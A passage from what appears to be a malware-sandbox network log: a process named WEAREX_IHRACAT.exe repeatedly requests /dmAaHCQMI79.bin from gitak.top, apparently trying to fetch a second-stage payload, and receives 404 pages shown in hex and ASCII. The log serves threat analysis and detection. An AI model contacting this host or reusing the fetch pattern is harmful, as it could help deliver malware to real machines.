2024-08-29 10:42:03 UTC	689	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:42:03 UTC	1369	IN	Data Raw: 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b Data Ascii: x;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:42:03 UTC	915	IN	Data Raw: 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 Data Ascii: 353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c
2024-08-29 10:42:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.11.20	49787	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:42:13 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:42:13 UTC	680	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:42:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 115 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MqmBalLXHAr8qRHykb93s7Lp50lREcKDyK8n%2Bv3wMBlsq8eWm%2FglNpbgr71VKPXaN9RNmJINX9aly%2FjGoZjXd5KoUWa3uB7RDsG05r8TwF7mWPTyTmQB3N%2Fsh6c%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babeee4daa80854-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:42:13 UTC	689	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:42:13 UTC	1369	IN	Data Raw: 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b Data Ascii: x;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:42:13 UTC	915	IN	Data Raw: 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 Data Ascii: 353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c
2024-08-29 10:42:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.11.20	49788	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:42:24 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:42:24 UTC	678	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:42:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 126 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qBfD0KFqKH%2FjuEPqXLGmfVRvGlYJ7xonfYKsjAuioIk3mZ0nD9XfU%2BsdBUtdQhBZsKK5pD6i%2FUtbiuoTH6VFzUzLjhCbEFyDCq93DypeKvLBwuv6cw7Or8rps0k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babef268d5d2d0e-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:42:24 UTC	691	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:42:24 UTC	1369	IN	Data Raw: 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:42:24 UTC	913	IN	Data Raw: 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e Data Ascii: 3 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.
2024-08-29 10:42:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.11.20	49789	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:42:34 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:42:35 UTC	684	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:42:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 136 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qXfiXuYJ4hadXmEM7sONEP2m4MQat6SkERSgInyk3olB8%2FyTCkHB9wvTJz%2BgVW0ZWgn4wzpHY%2FvjdL3Nm%2Fo0G%2Fw%2BeVKfHB1ZsNgSW49r3D78mp37yvegGleUReY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babef686b810737-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:42:35 UTC	685	IN	Data Raw: 62 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b95<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:42:35 UTC	1369	IN	Data Raw: 20 33 30 70 78 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 Data Ascii: 30px;margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fad
2024-08-29 10:42:35 UTC	918	IN	Data Raw: 36 2d 32 2e 33 35 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 Data Ascii: 6-2.353 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12
2024-08-29 10:42:35 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-08-29 10:42:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.11.20	49790	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:42:45 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:42:45 UTC	678	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:42:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 147 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sKbW1Y4HPTxcwBPBIxIFuOUjsGbsPaM6IiXAd0gCMmTFMP9875X41jv%2FHIB2pY3JVz7Pai9QieunjV56GiHCRUmj5a0Az4aB3jgFZq%2BDhZf%2B8td4V0P0WY4tXPY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babefaa5a9a81b7-IAD alt-svc: h3=":443"; ma=86400
2024-08-29 10:42:45 UTC	691	IN	Data Raw: 62 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f Data Ascii: b96<!DOCTYPE html><html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><title>Page Not Found</title><style>body {background-color: #f5f5f5;margin-top: 8%;co
2024-08-29 10:42:45 UTC	1369	IN	Data Raw: 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 33 30 70 78 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 09 09 09 09 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 61 6e 69 6d 61 74 65 64 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 31 73 3b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 62 6f 74 68 3b 0a 09 09 09 7d 0a 0a 09 09 09 2e 61 6e 69 6d 61 74 65 5f 5f 66 61 64 65 49 6e 20 7b 0a 09 09 09 09 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 66 61 64 65 49 6e 3b 0a 09 Data Ascii: margin-top: 30px;}.container {width: 100%;margin-right: auto;margin-left: auto;}.animate__animated {animation-duration: 1s;animation-fill-mode: both;}.animate__fadeIn {animation-name: fadeIn;
2024-08-29 10:42:45 UTC	913	IN	Data Raw: 33 20 31 32 2e 34 31 35 20 32 2e 37 31 35 20 31 36 2e 32 35 38 6c 33 34 2e 36 39 39 20 32 36 2e 33 31 63 35 2e 32 30 35 20 33 2e 39 34 37 20 31 32 2e 36 32 31 20 33 2e 30 30 38 20 31 36 2e 36 36 35 2d 32 2e 31 32 32 20 31 37 2e 38 36 34 2d 32 32 2e 36 35 38 20 33 30 2e 31 31 33 2d 33 35 2e 37 39 37 20 35 37 2e 33 30 33 2d 33 35 2e 37 39 37 20 32 30 2e 34 32 39 20 30 20 34 35 2e 36 39 38 20 31 33 2e 31 34 38 20 34 35 2e 36 39 38 20 33 32 2e 39 35 38 20 30 20 31 34 2e 39 37 36 2d 31 32 2e 33 36 33 20 32 32 2e 36 36 37 2d 33 32 2e 35 33 34 20 33 33 2e 39 37 36 43 32 34 37 2e 31 32 38 20 32 33 38 2e 35 32 38 20 32 31 36 20 32 35 34 2e 39 34 31 20 32 31 36 20 32 39 36 76 34 63 30 20 36 2e 36 32 37 20 35 2e 33 37 33 20 31 32 20 31 32 20 31 32 68 35 36 63 36 2e Data Ascii: 3 12.415 2.715 16.258l34.699 26.31c5.205 3.947 12.621 3.008 16.665-2.122 17.864-22.658 30.113-35.797 57.303-35.797 20.429 0 45.698 13.148 45.698 32.958 0 14.976-12.363 22.667-32.534 33.976C247.128 238.528 216 254.941 216 296v4c0 6.627 5.373 12 12 12h56c6.
2024-08-29 10:42:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.11.20	49791	172.67.207.219	443	6300	C:\Users\user\Desktop\WEAREX_IHRACAT.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 10:42:55 UTC	169	OUT	GET /dmAaHCQMI79.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: gitak.top Cache-Control: no-cache
2024-08-29 10:42:56 UTC	682	IN	HTTP/1.1 404 Not Found Date: Thu, 29 Aug 2024 10:42:56 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Last-Modified: Tue, 27 Aug 2024 00:54:25 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 158 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ACR1CIV4FDjAhd2ezzKBo%2B%2BmCDuOxvybSxgwkG%2BbAd5HU8pi0XXVuQciCGeO3g2yq6%2BYdcmvE1zckugScTv%2Bv9j6Z6OLnGK86IWyAqmiaNLNoz6qlN7YsvRc8vA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8babefec688805f3-IAD alt-svc: h3=":443"; ma=86400
